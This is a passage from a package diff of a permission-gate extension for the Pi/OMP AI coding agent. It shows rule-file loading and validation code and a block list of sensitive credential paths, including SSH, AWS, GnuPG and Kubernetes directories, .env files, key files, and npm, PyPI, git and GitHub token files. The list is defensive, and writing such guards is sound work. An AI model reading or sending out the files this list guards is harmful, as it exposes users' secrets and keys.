@wernerbisschoff/pi-gatekeeper 0.1.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +122 -0
- package/dist/default-rules.json +216 -0
- package/dist/gatekeeper.d.ts +621 -0
- package/dist/gatekeeper.d.ts.map +1 -0
- package/dist/gatekeeper.js +2715 -0
- package/dist/gatekeeper.js.map +1 -0
- package/package.json +42 -0
|
@@ -0,0 +1,2715 @@
|
|
|
1
|
+
/**
|
|
2
|
+
* Pi/OMP extension entry point — Phase 3 of the Foundation shard.
|
|
3
|
+
*
|
|
4
|
+
* Implements the persistence lifecycle helpers (`getRulesPath`,
|
|
5
|
+
* `loadDefaultRules`, `bootstrapRules`, `loadRules`) called by the
|
|
6
|
+
* `session_start` wiring and the `/perm` slash command in later tasks.
|
|
7
|
+
* The full entry-point shell (slash command, CLI flag, status wiring,
|
|
8
|
+
* `cycleMode`/`setMode`/`showAllowlist`) arrives in TSK-001-08.
|
|
9
|
+
*
|
|
10
|
+
* Source of truth:
|
|
11
|
+
* - tasks.md TSK-001-03 (bootstrap / lifecycle loader)
|
|
12
|
+
* - data-model.md:177-228 (PermissionLevel / LevelRules / PermissionRules shapes)
|
|
13
|
+
* - constitution.md §1.1 (single-module extension boundary)
|
|
14
|
+
* - constitution.md §1.2 (flat-file persistence under ~/.pi/agent/)
|
|
15
|
+
* - constitution.md §1.4 (deny-by-default safety floor)
|
|
16
|
+
* - plan.md Phase 3 (rules path + atomic bootstrap implementation strategy)
|
|
17
|
+
*/
|
|
18
|
+
import { exec } from "node:child_process";
|
|
19
|
+
import { existsSync, mkdirSync, readFileSync, renameSync, writeFileSync } from "node:fs";
|
|
20
|
+
import os from "node:os";
|
|
21
|
+
import { dirname, join, resolve } from "node:path";
|
|
22
|
+
import { fileURLToPath } from "node:url";
|
|
23
|
+
import { promisify } from "node:util";
|
|
24
|
+
import { Type } from "@sinclair/typebox";
|
|
25
|
+
const execAsync = promisify(exec);
|
|
26
|
+
/**
|
|
27
|
+
* Stable label catalogue — single source of truth for the AC-007-XX reason strings.
|
|
28
|
+
* A future rename propagates from this constant to every catalog entry below and the
|
|
29
|
+
* corresponding `ctx.ui.notify` reason in `sensitivePathToolCallHandler` (Phase 2). The
|
|
30
|
+
* values are pinned by the `isSensitivePath — pattern catalog` describe in
|
|
31
|
+
* `test/sensitive-path.test.ts`.
|
|
32
|
+
*/
|
|
33
|
+
const LABELS = {
|
|
34
|
+
ENV: "Environment file",
|
|
35
|
+
SSH: "SSH directory",
|
|
36
|
+
AWS: "AWS directory",
|
|
37
|
+
GNUPG: "GnuPG directory",
|
|
38
|
+
KUBE: "Kubernetes directory",
|
|
39
|
+
CRYPTO: "Crypto material",
|
|
40
|
+
CREDS: "Credentials file",
|
|
41
|
+
NPM: "npm config",
|
|
42
|
+
PYPI: "PyPI config",
|
|
43
|
+
GIT_CREDS: "Git credentials",
|
|
44
|
+
DOCKER: "Docker config",
|
|
45
|
+
GH_HOSTS: "GitHub hosts config",
|
|
46
|
+
};
|
|
47
|
+
/**
|
|
48
|
+
* Compile-time catalog of sensitive path patterns. Iteration order matters:
|
|
49
|
+
* {@link isSensitivePath} uses an early-return `for...of` so the FIRST matching entry
|
|
50
|
+
* wins. The catalog is intentionally permissive — a `.ssh/` literal anywhere in the
|
|
51
|
+
* path matches so `~/.ssh/`, `/Users/<who>/.ssh/`, `/home/<who>/.ssh/`, and even
|
|
52
|
+
* `/srv/.ssh/` are all flagged (the latter is permissive by design — see
|
|
53
|
+
* `tasks.md TSK-006-01 "Edge Cases"`). Reorder the array only with a corresponding
|
|
54
|
+
* update to the `first-match-wins` test in `test/sensitive-path.test.ts`.
|
|
55
|
+
*/
|
|
56
|
+
export const SENSITIVE_PATHS = [
|
|
57
|
+
// Environment file — matches `.env`, `.env.production`, `.env.local`, etc.
|
|
58
|
+
// MUST be entry #0 so the first-match-wins test (`~/.ssh/.env` → "Environment file")
|
|
59
|
+
// remains deterministic.
|
|
60
|
+
{ pattern: /\.env(\.[^/]+)?$/, label: LABELS.ENV },
|
|
61
|
+
// SSH directory — covers `~/.ssh/`, `/Users/<who>/.ssh/`, `/home/<who>/.ssh/`
|
|
62
|
+
// (permissive: any path containing the `.ssh/` literal segment is flagged).
|
|
63
|
+
{ pattern: /\.ssh\//, label: LABELS.SSH },
|
|
64
|
+
// AWS credentials directory
|
|
65
|
+
{ pattern: /\.aws\//, label: LABELS.AWS },
|
|
66
|
+
// GnuPG keyring directory
|
|
67
|
+
{ pattern: /\.gnupg\//, label: LABELS.GNUPG },
|
|
68
|
+
// Kubernetes config directory
|
|
69
|
+
{ pattern: /\.kube\//, label: LABELS.KUBE },
|
|
70
|
+
// Crypto material — PEM keys, SSH private keys, X.509 certs (case-insensitive to
|
|
71
|
+
// tolerate the common uppercase `.PEM` convention).
|
|
72
|
+
{ pattern: /\.(pem|key|crt)$/i, label: LABELS.CRYPTO },
|
|
73
|
+
// .netrc — legacy FTP/HTTP credential file
|
|
74
|
+
{ pattern: /(?:^|\/)\.?netrc$/, label: LABELS.CREDS },
|
|
75
|
+
// npm config — registry auth tokens
|
|
76
|
+
{ pattern: /(?:^|\/)\.?npmrc$/, label: LABELS.NPM },
|
|
77
|
+
// PyPI config — upload credentials
|
|
78
|
+
{ pattern: /(?:^|\/)\.?pypirc$/, label: LABELS.PYPI },
|
|
79
|
+
// Git credential store — plaintext credentials
|
|
80
|
+
{ pattern: /\.git-credentials$/, label: LABELS.GIT_CREDS },
|
|
81
|
+
// Docker registry auth
|
|
82
|
+
{ pattern: /\.docker\/config\.json$/, label: LABELS.DOCKER },
|
|
83
|
+
// GitHub CLI host tokens
|
|
84
|
+
{ pattern: /\.config\/gh\/hosts\.yml$/, label: LABELS.GH_HOSTS },
|
|
85
|
+
];
|
|
86
|
+
/**
|
|
87
|
+
* Skill-script short-circuit pattern — matches a `.sh` file directly under `/skills/`
|
|
88
|
+
* (single-segment form). `/skills/sub/dir.sh` (nested) does NOT match because
|
|
89
|
+
* `[^/]+` excludes `/`. Per US-021, the sensitive-path `tool_call` handler (Phase 2)
|
|
90
|
+
* short-circuits on this pattern BEFORE the {@link SENSITIVE_PATHS} scan so a skill
|
|
91
|
+
* script whose filename would otherwise match (e.g. `/skills/.env-helper.sh`) still
|
|
92
|
+
* passes through.
|
|
93
|
+
*/
|
|
94
|
+
export const SKILL_SCRIPT_PATTERN = /^\/skills\/[^/]+\.sh$/;
|
|
95
|
+
/**
|
|
96
|
+
* Classify `path` against the {@link SENSITIVE_PATHS} catalog. Returns the FIRST
|
|
97
|
+
* matching entry's `label` (first-match-wins via the catalog's documented iteration
|
|
98
|
+
* order). Performance is O(1) per call: the regexes are compiled once at module
|
|
99
|
+
* load, so `.test(path)` is the only per-call cost (O(n) where n is `path.length`).
|
|
100
|
+
* Returns `{ match: false, label: "" }` when no pattern matches — the empty string
|
|
101
|
+
* is the sentinel "no-match" label and is excluded from the {@link SensitivePathLabel}
|
|
102
|
+
* union, so consumers can branch on `match` instead of inspecting the label.
|
|
103
|
+
*/
|
|
104
|
+
export function isSensitivePath(path) {
|
|
105
|
+
for (const { pattern, label } of SENSITIVE_PATHS) {
|
|
106
|
+
if (pattern.test(path)) {
|
|
107
|
+
return { match: true, label };
|
|
108
|
+
}
|
|
109
|
+
}
|
|
110
|
+
return { match: false, label: "" };
|
|
111
|
+
}
|
|
112
|
+
/** ─── Internal helpers ─── */
|
|
113
|
+
/**
|
|
114
|
+
* Absolute path to the bundled `default-rules.json` asset. Resolved relative
|
|
115
|
+
* to this module's source location so the same code works under:
|
|
116
|
+
* - vitest loading `src/gatekeeper.ts` directly → `HERE = src/`
|
|
117
|
+
* - jiti loading `src/gatekeeper.ts` at runtime → `HERE = src/`
|
|
118
|
+
* - compiled `dist/gatekeeper.js` (after build) → `HERE = dist/`
|
|
119
|
+
* The `npm run build` script copies `src/default-rules.json` to
|
|
120
|
+
* `dist/default-rules.json` so the compiled `gatekeeper.js` resolves the
|
|
121
|
+
* asset next to itself. The `package.json` `files` whitelist ships the
|
|
122
|
+
* entire `dist/` directory tree to npm so the asset and compiled JS land in
|
|
123
|
+
* the published tarball together (satisfies FR-012-02).
|
|
124
|
+
*/
|
|
125
|
+
const HERE = dirname(fileURLToPath(import.meta.url));
|
|
126
|
+
const DEFAULT_RULES_PATH = resolve(HERE, "default-rules.json");
|
|
127
|
+
/**
|
|
128
|
+
* Strict-equal allowlist for the `--perm-mode` CLI flag. Co-located here so future shards that
|
|
129
|
+
* accept the same set (TSK-001-06 `setMode`, TSK-001-07 slash-command branching) reuse the single
|
|
130
|
+
* source of truth instead of redeclaring `["low", "medium", "high"]` literals across the module.
|
|
131
|
+
* Frozen `as const` so the array is typed as `readonly ["low", "medium", "high"]` and resists push/shift.
|
|
132
|
+
*/
|
|
133
|
+
const VALID_MODES = ["low", "medium", "high"];
|
|
134
|
+
/**
|
|
135
|
+
* Structural guard for a parsed JSON value. Rejects `null`, primitives,
|
|
136
|
+
* arrays, and objects missing the required top-level fields — including the
|
|
137
|
+
* `null` literal case (`JSON.parse("null") === null` is a valid parse but
|
|
138
|
+
* not a `PermissionRules` shape).
|
|
139
|
+
*/
|
|
140
|
+
function isPermissionRules(value) {
|
|
141
|
+
if (value === null || typeof value !== "object" || Array.isArray(value)) {
|
|
142
|
+
return false;
|
|
143
|
+
}
|
|
144
|
+
const obj = value;
|
|
145
|
+
if (obj.version !== 1 && obj.version !== 2)
|
|
146
|
+
return false; // Schema version is locked at v1/v2; v3+ will require explicit migration support.
|
|
147
|
+
if (obj.currentMode !== null && typeof obj.currentMode !== "string")
|
|
148
|
+
return false;
|
|
149
|
+
if (typeof obj.rules !== "object" || obj.rules === null || Array.isArray(obj.rules)) {
|
|
150
|
+
return false;
|
|
151
|
+
}
|
|
152
|
+
const rules = obj.rules;
|
|
153
|
+
for (const level of VALID_MODES) {
|
|
154
|
+
if (!isLevelRules(rules[level]))
|
|
155
|
+
return false;
|
|
156
|
+
}
|
|
157
|
+
return true;
|
|
158
|
+
}
|
|
159
|
+
function isLevelRules(value) {
|
|
160
|
+
if (value === null || typeof value !== "object" || Array.isArray(value)) {
|
|
161
|
+
return false;
|
|
162
|
+
}
|
|
163
|
+
const obj = value;
|
|
164
|
+
if (!Array.isArray(obj.deny) || !Array.isArray(obj.allow) || !Array.isArray(obj.ask)) {
|
|
165
|
+
return false;
|
|
166
|
+
}
|
|
167
|
+
for (const arr of [obj.deny, obj.allow, obj.ask]) {
|
|
168
|
+
for (const entry of arr) {
|
|
169
|
+
if (typeof entry !== "string")
|
|
170
|
+
return false;
|
|
171
|
+
}
|
|
172
|
+
}
|
|
173
|
+
return true;
|
|
174
|
+
}
|
|
175
|
+
/**
|
|
176
|
+
* Strict-equal guard for `PermissionLevel`. Backed by the `VALID_MODES` tuple so a new level (or a
|
|
177
|
+
* rename of an existing one) propagates to every call site — flag override, future `setMode`, and
|
|
178
|
+
* slash-command branching — without re-declaring the literal list.
|
|
179
|
+
*/
|
|
180
|
+
function isPermissionLevel(value) {
|
|
181
|
+
return typeof value === "string" && VALID_MODES.includes(value);
|
|
182
|
+
}
|
|
183
|
+
/** ─── Subcommand catalogue for the `/perm` slash command (TSK-001-07) ─── */
|
|
184
|
+
/**
|
|
185
|
+
* Subcommand literals for the `/perm` slash command. Co-located so the handler's branching
|
|
186
|
+
* table and the corresponding tests can grep one symbol instead of three. Each entry is the set of
|
|
187
|
+
* trimmed/lowercased arg values that route to the named behaviour:
|
|
188
|
+
* - CYCLE — bare invocation (`""`) or explicit `"cycle"` alias → {@link cycleMode}
|
|
189
|
+
* - SET — explicit `"low" | "medium" | "high"` literal → {@link setMode}
|
|
190
|
+
* - DISCOVERY — `"allowlist"` (FR-013 name — actually renders the full deny/allow/ask per-level
|
|
191
|
+
* tuple) or the `"list"` alias → {@link showAllowlist}
|
|
192
|
+
*
|
|
193
|
+
* `as const satisfies Readonly<...>` locks each entry to `readonly string[]` so the handler's
|
|
194
|
+
* `===` comparisons stay typed and the array resists push/shift. A future rename or new level
|
|
195
|
+
* flows from a single edit here to every branch and the corresponding test greps.
|
|
196
|
+
*/
|
|
197
|
+
const PERM_SUBCOMMANDS = {
|
|
198
|
+
CYCLE: ["", "cycle"],
|
|
199
|
+
SET: VALID_MODES,
|
|
200
|
+
DISCOVERY: ["allowlist", "list"],
|
|
201
|
+
};
|
|
202
|
+
/**
|
|
203
|
+
* Atomic write of `payload` to `targetPath`. Writes to `<target>.tmp` first
|
|
204
|
+
* then `renameSync` swaps it into place — guards against partial writes
|
|
205
|
+
* corrupting the rules file (per `design.md:138` RSK-009 mitigation).
|
|
206
|
+
*
|
|
207
|
+
* Throws on any failure. Best-effort callers wrap this primitive in try/catch
|
|
208
|
+
* (see {@link saveRules}); non-best-effort callers (e.g. {@link bootstrapRules})
|
|
209
|
+
* let the throw propagate so they can surface ENOENT-vs-corruption distinctly.
|
|
210
|
+
*/
|
|
211
|
+
function atomicWriteJson(targetPath, payload) {
|
|
212
|
+
const tmpPath = `${targetPath}.tmp`;
|
|
213
|
+
writeFileSync(tmpPath, JSON.stringify(payload, null, 2), "utf8");
|
|
214
|
+
renameSync(tmpPath, targetPath);
|
|
215
|
+
}
|
|
216
|
+
/**
|
|
217
|
+
* Prefix emitted on a best-effort persistence failure. Centralized so the
|
|
218
|
+
* notification text and `notify` level stay in lock-step across every catch
|
|
219
|
+
* branch in {@link saveRules}, matching the `MALFORMED_RULES_MESSAGE` pattern
|
|
220
|
+
* used by `loadRules`.
|
|
221
|
+
*/
|
|
222
|
+
const SAVE_RULES_FAILURE_PREFIX = "Failed to persist perm-rules.json:";
|
|
223
|
+
/**
|
|
224
|
+
* Emit a best-effort persistence failure notification. No-op when `ctx` is
|
|
225
|
+
* undefined — callers that route through `saveRules` without a ctx (e.g. the
|
|
226
|
+
* mode-cycle path) rely on the silent-swallow branch to keep the call chain
|
|
227
|
+
* from crashing on a transient persistence failure.
|
|
228
|
+
*/
|
|
229
|
+
function notifySaveFailure(err, ctx) {
|
|
230
|
+
if (!ctx)
|
|
231
|
+
return;
|
|
232
|
+
const detail = err instanceof Error ? err.message : String(err);
|
|
233
|
+
ctx.ui.notify(`${SAVE_RULES_FAILURE_PREFIX} ${detail}`, "warning");
|
|
234
|
+
}
|
|
235
|
+
/**
|
|
236
|
+
* Prefix emitted on a sensitive-path block. Centralised so the
|
|
237
|
+
* notification text and `notify` level stay in lock-step across the
|
|
238
|
+
* blocking site in {@link sensitivePathToolCallHandler} and the
|
|
239
|
+
* corresponding `describe("...AC-007-01...")` test assertions.
|
|
240
|
+
*
|
|
241
|
+
* Phrasing: "<prefix> <path>" — the test asserts
|
|
242
|
+
* `expect(message).toContain(path)` so a future rename MUST keep the
|
|
243
|
+
* trailing path component verbatim (per `tasks.md TSK-006-02 Edge Cases`
|
|
244
|
+
* — "user must be informed of the block reason").
|
|
245
|
+
*/
|
|
246
|
+
const SENSITIVE_PATH_BLOCK_PREFIX = "Blocked access to sensitive path:";
|
|
247
|
+
/**
|
|
248
|
+
* Emit a best-effort sensitive-path block notification. Gated on
|
|
249
|
+
* `ctx.hasUI` so headless mode (Constitution §1.6 — `pi --no-ui` /
|
|
250
|
+
* OMP headless) does NOT crash on a missing UI context. Matches the
|
|
251
|
+
* `notifySaveFailure` pattern above — every `ctx.ui.notify` site that
|
|
252
|
+
* could plausibly fire under headless conditions routes through a
|
|
253
|
+
* `hasUI`-gated helper so the headless-safety contract is centralised
|
|
254
|
+
* and not duplicated across call sites.
|
|
255
|
+
*/
|
|
256
|
+
function notifySensitivePathBlock(path, ctx) {
|
|
257
|
+
if (!ctx.hasUI)
|
|
258
|
+
return;
|
|
259
|
+
ctx.ui.notify(`${SENSITIVE_PATH_BLOCK_PREFIX} ${path}`, "warning");
|
|
260
|
+
}
|
|
261
|
+
/**
|
|
262
|
+
* Ensure the parent directory of `filePath` exists, creating it recursively
|
|
263
|
+
* with restricted permissions (0o700). Idempotent — a no-op when the directory
|
|
264
|
+
* already exists. Centralized to replace identical `mkdirSync(dirname(...))`
|
|
265
|
+
* patterns in {@link saveRules} and {@link bootstrapRulesAt}.
|
|
266
|
+
*/
|
|
267
|
+
function ensureParentDir(filePath) {
|
|
268
|
+
mkdirSync(dirname(filePath), { recursive: true, mode: 0o700 });
|
|
269
|
+
}
|
|
270
|
+
/**
|
|
271
|
+
* Public persistence write surface — the single boundary that owns atomic
|
|
272
|
+
* rename + best-effort error handling for `perm-rules.json`.
|
|
273
|
+
*
|
|
274
|
+
* Contract:
|
|
275
|
+
* - Creates the parent directory recursively with `mode: 0o700` so the
|
|
276
|
+
* Sensitive Path Guard's directory-permission policy (matches
|
|
277
|
+
* {@link getRulesPath}) is honoured on first write into a fresh
|
|
278
|
+
* `~/.pi/agent/` tree. `mkdirSync({ recursive: true })` is a no-op when
|
|
279
|
+
* the directory already exists, so re-writes never loosen or tighten an
|
|
280
|
+
* existing directory's permissions.
|
|
281
|
+
* - Writes the payload to `<filePath>.tmp` then `renameSync`s it into
|
|
282
|
+
* place — the atomic-rename pattern prevents partial writes from
|
|
283
|
+
* corrupting an otherwise-valid rules file (RSK-009 mitigation).
|
|
284
|
+
* - Best-effort error handling: any failure (EACCES, EROFS, ENOSPC,
|
|
285
|
+
* ENOENT for an unwritable parent, etc.) is caught. When `ctx` is
|
|
286
|
+
* provided, the failure surfaces through `ctx.ui.notify` at `"warning"`
|
|
287
|
+
* level. When `ctx` is undefined the failure is silently swallowed —
|
|
288
|
+
* the caller's in-memory mutation already landed and the next session
|
|
289
|
+
* resumes from the last successfully persisted state.
|
|
290
|
+
*
|
|
291
|
+
* Flow references: FLOW-05 (level cycles and persists), FLOW-08 (Allow
|
|
292
|
+
* Always writes the persistent per-level JSON).
|
|
293
|
+
*/
|
|
294
|
+
export function saveRules(filePath, payload, ctx) {
|
|
295
|
+
try {
|
|
296
|
+
ensureParentDir(filePath);
|
|
297
|
+
atomicWriteJson(filePath, payload);
|
|
298
|
+
}
|
|
299
|
+
catch (err) {
|
|
300
|
+
notifySaveFailure(err, ctx);
|
|
301
|
+
}
|
|
302
|
+
}
|
|
303
|
+
/** ─── Persistence lifecycle helpers (under test) ─── */
|
|
304
|
+
/**
|
|
305
|
+
* Resolve the absolute path of the persisted rules file.
|
|
306
|
+
*
|
|
307
|
+
* Creates `~/.pi/agent/` with `mode: 0o700` ONLY when the directory does not
|
|
308
|
+
* already exist — `mkdirSync({ recursive: true })` skips creation (and
|
|
309
|
+
* permission tightening) for an existing directory. This means a directory
|
|
310
|
+
* previously created by another tool or installer with broader permissions
|
|
311
|
+
* is left untouched and cannot be retroactively narrowed from this helper.
|
|
312
|
+
*
|
|
313
|
+
* The 0o700 target honors the process umask (so the effective mode may be
|
|
314
|
+
* narrower than 0o700 on systems with a tighter umask, but never broader).
|
|
315
|
+
* The intent is to match the Sensitive Path Guard's directory-permission
|
|
316
|
+
* policy from ISS-006 so the directory is never world-readable when this
|
|
317
|
+
* extension creates it from a clean slate.
|
|
318
|
+
*/
|
|
319
|
+
export function getRulesPath() {
|
|
320
|
+
const agentDir = join(os.homedir(), ".pi", "agent");
|
|
321
|
+
mkdirSync(agentDir, { recursive: true, mode: 0o700 });
|
|
322
|
+
return join(agentDir, "perm-rules.json");
|
|
323
|
+
}
|
|
324
|
+
/**
|
|
325
|
+
* Load the bundled `src/default-rules.json` payload. Read-only asset shipped
|
|
326
|
+
* inside the npm tarball. Throws if the asset is missing — fail loud per
|
|
327
|
+
* Constitution §1.4 rather than silently substituting a build-time string.
|
|
328
|
+
*/
|
|
329
|
+
export function loadDefaultRules() {
|
|
330
|
+
const raw = readFileSync(DEFAULT_RULES_PATH, "utf8");
|
|
331
|
+
const parsed = JSON.parse(raw);
|
|
332
|
+
if (!isPermissionRules(parsed)) {
|
|
333
|
+
throw new Error(`Bundled default-rules.json at ${DEFAULT_RULES_PATH} is not a valid PermissionRules payload`);
|
|
334
|
+
}
|
|
335
|
+
return parsed;
|
|
336
|
+
}
|
|
337
|
+
/**
|
|
338
|
+
* Ensure `perm-rules.json` exists at `targetPath`; return its parsed contents.
|
|
339
|
+
*
|
|
340
|
+
* First-run path: atomically copy the bundled defaults into place (creating the parent directory
|
|
341
|
+
* recursively if needed). Subsequent calls: re-read whatever is on disk (idempotent — never
|
|
342
|
+
* overwrites a manually-edited file). The re-read path validates with the same {@link isPermissionRules}
|
|
343
|
+
* guard {@link loadRules} uses so a manually edited file with structurally invalid JSON (null literal,
|
|
344
|
+
* missing fields, stray keys) cannot escape the deny-by-default contract. A re-read that fails the shape
|
|
345
|
+
* check is left on disk for the developer to inspect; this helper throws so the caller (e.g. test or
|
|
346
|
+
* future shard) cannot silently accept a malformed payload.
|
|
347
|
+
*
|
|
348
|
+
* `targetPath` is the absolute path the bootstrap should honour — may be `getRulesPath()` (default) or an
|
|
349
|
+
* arbitrary path supplied by a persistence test (the testability seam TSK-004-02 adds to `loadRules`).
|
|
350
|
+
*/
|
|
351
|
+
function bootstrapRulesAt(targetPath) {
|
|
352
|
+
const defaults = loadDefaultRules();
|
|
353
|
+
if (existsSync(targetPath)) {
|
|
354
|
+
const raw = readFileSync(targetPath, "utf8");
|
|
355
|
+
const parsed = JSON.parse(raw);
|
|
356
|
+
if (!isPermissionRules(parsed)) {
|
|
357
|
+
throw new Error(`Existing perm-rules.json at ${targetPath} is not a valid PermissionRules payload`);
|
|
358
|
+
}
|
|
359
|
+
// Schema upgrade: if the on-disk version is older than the bundled version,
|
|
360
|
+
// back up the old file to `<path>.v<oldVersion>.bak` and re-bootstrap with
|
|
361
|
+
// the new defaults. This ensures improvements like expanded `low.allow`
|
|
362
|
+
// entries automatically take effect without manual deletion.
|
|
363
|
+
if (parsed.version < defaults.version) {
|
|
364
|
+
const backupPath = `${targetPath}.v${parsed.version}.bak`;
|
|
365
|
+
renameSync(targetPath, backupPath);
|
|
366
|
+
ensureParentDir(targetPath);
|
|
367
|
+
atomicWriteJson(targetPath, defaults);
|
|
368
|
+
return defaults;
|
|
369
|
+
}
|
|
370
|
+
return parsed;
|
|
371
|
+
}
|
|
372
|
+
// First run — create the parent directory recursively (TSK-004-02 lets callers pass an arbitrary
|
|
373
|
+
// filePath via `loadRules`, so we MUST NOT rely on `getRulesPath()` to have created the parent for us),
|
|
374
|
+
// then atomic copy of bundled defaults.
|
|
375
|
+
ensureParentDir(targetPath);
|
|
376
|
+
atomicWriteJson(targetPath, defaults);
|
|
377
|
+
return defaults;
|
|
378
|
+
}
|
|
379
|
+
/**
|
|
380
|
+
* Public bootstrap helper — the pre-TSK-004-02 single-path entry point that always boots at `getRulesPath()`.
|
|
381
|
+
* Retained as a thin wrapper over {@link bootstrapRulesAt} so foundation tests (which do not exercise the
|
|
382
|
+
* extended `filePath` parameter) keep their call surface, and so future ISS-001 callers can request a
|
|
383
|
+
* bootstrap against the canonical home without re-deriving the path.
|
|
384
|
+
*/
|
|
385
|
+
export function bootstrapRules() {
|
|
386
|
+
return bootstrapRulesAt(getRulesPath());
|
|
387
|
+
}
|
|
388
|
+
/** User-visible warning emitted on EVERY malformed-perm-rules path. Centralized so the message text
|
|
389
|
+
* and `notify` level stay in lock-step across the three failure branches in `loadRules` (`readFileSync`
|
|
390
|
+
* non-ENOENT error, `JSON.parse` SyntaxError, shape mismatch). The phrasing "falling back to last valid
|
|
391
|
+
* in-memory snapshot" is generic enough to cover BOTH branches of {@link handleMalformedFallback}: the
|
|
392
|
+
* cold-cache session-start path returns the bundled defaults (which IS the last valid in-memory snapshot
|
|
393
|
+
* before any per-ctx cache exists), and the live-reload path returns the per-ctx cached payload.
|
|
394
|
+
*
|
|
395
|
+
* Required by AC-011-02 ("Error is logged") and US-013 ATDD ("error is logged and the extension falls
|
|
396
|
+
* back to the last valid rules in memory") — a transient malformed edit MUST surface to the developer
|
|
397
|
+
* via `ctx.ui.notify` so they know the persisted file is corrupt and can recover it.
|
|
398
|
+
*/
|
|
399
|
+
const MALFORMED_RULES_MESSAGE = "malformed perm-rules.json during reload; falling back to last valid in-memory snapshot";
|
|
400
|
+
/**
|
|
401
|
+
* Two-branch malformed-file fallback (FR-011 / AC-011-02). Centralized so each call site in
|
|
402
|
+
* {@link loadRules} reads as a single declarative step:
|
|
403
|
+
* - Always notify FIRST at `"warning"` level — required by AC-011-02 ("Error is logged"), US-013 ATDD
|
|
404
|
+
* ("error is logged"), and the TSK-004-02 hard-inclusion list ("log error"). Both cache-hit and
|
|
405
|
+
* cache-miss branches MUST emit the warning; a silent cache-hit recovery would mask a transient
|
|
406
|
+
* malformed edit from the developer.
|
|
407
|
+
* - Return the per-ctx `lastValidRulesByCtx` cached payload if hot (live-reload path), otherwise
|
|
408
|
+
* fall back to the bundled defaults (session-start / first-ever for this ctx). The per-ctx cache
|
|
409
|
+
* preserves FLOW-10 cascade integrity: a developer's curated per-level deny/allow/ask appends
|
|
410
|
+
* survive a transient malformed edit.
|
|
411
|
+
* - Mirror the resolved fallback into the module-level `rules` cache so `showAllowlist` /
|
|
412
|
+
* `applyModeChange` see the in-memory fallback the same way they would a successful read.
|
|
413
|
+
* The per-ctx `lastValidRulesByCtx` is intentionally NOT updated here — only validated payloads
|
|
414
|
+
* earn a cache slot; a cold-defaults fallback must not shadow a later successful read.
|
|
415
|
+
*/
|
|
416
|
+
function handleMalformedFallback(ctx) {
|
|
417
|
+
ctx.ui.notify(MALFORMED_RULES_MESSAGE, "warning");
|
|
418
|
+
const fallback = lastValidRulesByCtx.get(ctx) ?? loadDefaultRules();
|
|
419
|
+
rules = fallback;
|
|
420
|
+
return fallback;
|
|
421
|
+
}
|
|
422
|
+
/**
|
|
423
|
+
* Per-ctx cache of the LAST VALID in-memory `PermissionRules` payload. Pinned by TSK-004-02 (FR-011,
|
|
424
|
+
* AC-011-02) so live reload preserves the developer's curated per-level deny/allow/ask appends across
|
|
425
|
+
* a transient malformed edit.
|
|
426
|
+
*
|
|
427
|
+
* The cache is keyed by `ExtensionContext` so it naturally isolates across:
|
|
428
|
+
* - **Multiple Pi/OMP sessions** that share a single Node process (each session has its own ctx).
|
|
429
|
+
* - **Multiple test cases** that share a single Node process (each `createFakePi()` produces a fresh ctx).
|
|
430
|
+
* This avoids state pollution between foundation-shard tests (which assume a fresh "session-start" on every
|
|
431
|
+
* call) and persistence-shard tests (which need a hot cache for the AC-011-02 fallback assertion).
|
|
432
|
+
*
|
|
433
|
+
* `WeakMap` is used so the cache entry is garbage-collected automatically when the ctx goes out of scope —
|
|
434
|
+
* no manual reset is needed.
|
|
435
|
+
*/
|
|
436
|
+
const lastValidRulesByCtx = new WeakMap();
|
|
437
|
+
/**
|
|
438
|
+
* Update BOTH the module-level `rules` write-through cache and the per-ctx `lastValidRulesByCtx` reload
|
|
439
|
+
* cache. Centralised so the dual-assignment pattern that now appears in three places (success path,
|
|
440
|
+
* bootstrap path, future paths) cannot drift out of sync — a drift here would let a stale payload from
|
|
441
|
+
* `rules` shadow the cache the malformed-fallback branch consults.
|
|
442
|
+
*/
|
|
443
|
+
function setLoadedRules(parsed, ctx) {
|
|
444
|
+
rules = parsed;
|
|
445
|
+
lastValidRulesByCtx.set(ctx, parsed);
|
|
446
|
+
}
|
|
447
|
+
/**
|
|
448
|
+
* Load rules from disk; surface malformed state via `ctx.ui.notify` and fall back to the bundled
|
|
449
|
+
* defaults OR the per-ctx last-valid cache (whichever is available), leaving the on-disk file
|
|
450
|
+
* untouched so the developer can inspect or hand-correct it.
|
|
451
|
+
*
|
|
452
|
+
* Contract (extended by TSK-004-02 — FR-011 / AC-011-02):
|
|
453
|
+
* - `filePath` is OPTIONAL: when omitted, the loader reads from `getRulesPath()` (preserves pre-TSK-004-02
|
|
454
|
+
* callers like `sessionStartHandler`). When provided, the loader reads from `filePath` and skips
|
|
455
|
+
* `getRulesPath()` entirely — persistence tests use this seam to drive the loader against an
|
|
456
|
+
* isolated `os.tmpdir()`-backed path without coupling to `os.homedir()`.
|
|
457
|
+
* - ENOENT (file missing at `targetPath`) → `bootstrapRulesAt(targetPath)` — atomically create the file
|
|
458
|
+
* with bundled defaults at the SAME path the caller asked for, populate the per-ctx cache with the
|
|
459
|
+
* bootstrapped payload, and return it. The bootstrap is silent (no notify).
|
|
460
|
+
* - `JSON.parse` throws (truncated payload, stray characters, etc.) → `handleMalformedFallback(ctx)` —
|
|
461
|
+
* notify at `"warning"` level, return the per-ctx cached payload if hot, otherwise bundled defaults.
|
|
462
|
+
* - Valid JSON but invalid shape (`null`, primitives, arrays, missing fields) → same fallback as the
|
|
463
|
+
* `JSON.parse` throw branch. Both branches share the same single-line `return handleMalformedFallback(ctx)`
|
|
464
|
+
* idiom so the read/parse/shape pipeline reads as a uniform success-or-fallback ladder.
|
|
465
|
+
* - Valid payload → populate BOTH `rules` and the per-ctx `lastValidRulesByCtx` cache, return parsed.
|
|
466
|
+
*
|
|
467
|
+
* On the malformed-file path the on-disk bytes are NEVER overwritten so the developer can inspect or
|
|
468
|
+
* hand-correct the file. The two-branch fallback (FR-011 / AC-011-02) preserves FLOW-10 cascade
|
|
469
|
+
* integrity: a developer's curated per-level deny/allow/ask appends survive a transient malformed edit.
|
|
470
|
+
*/
|
|
471
|
+
export function loadRules(ctx, filePath) {
|
|
472
|
+
const targetPath = filePath ?? getRulesPath();
|
|
473
|
+
let raw;
|
|
474
|
+
try {
|
|
475
|
+
raw = readFileSync(targetPath, "utf8");
|
|
476
|
+
}
|
|
477
|
+
catch (err) {
|
|
478
|
+
// ENOENT → bootstrap a fresh file at `targetPath`. Any other read error → malformed-fallback in memory.
|
|
479
|
+
if (isErrnoException(err) && err.code === "ENOENT") {
|
|
480
|
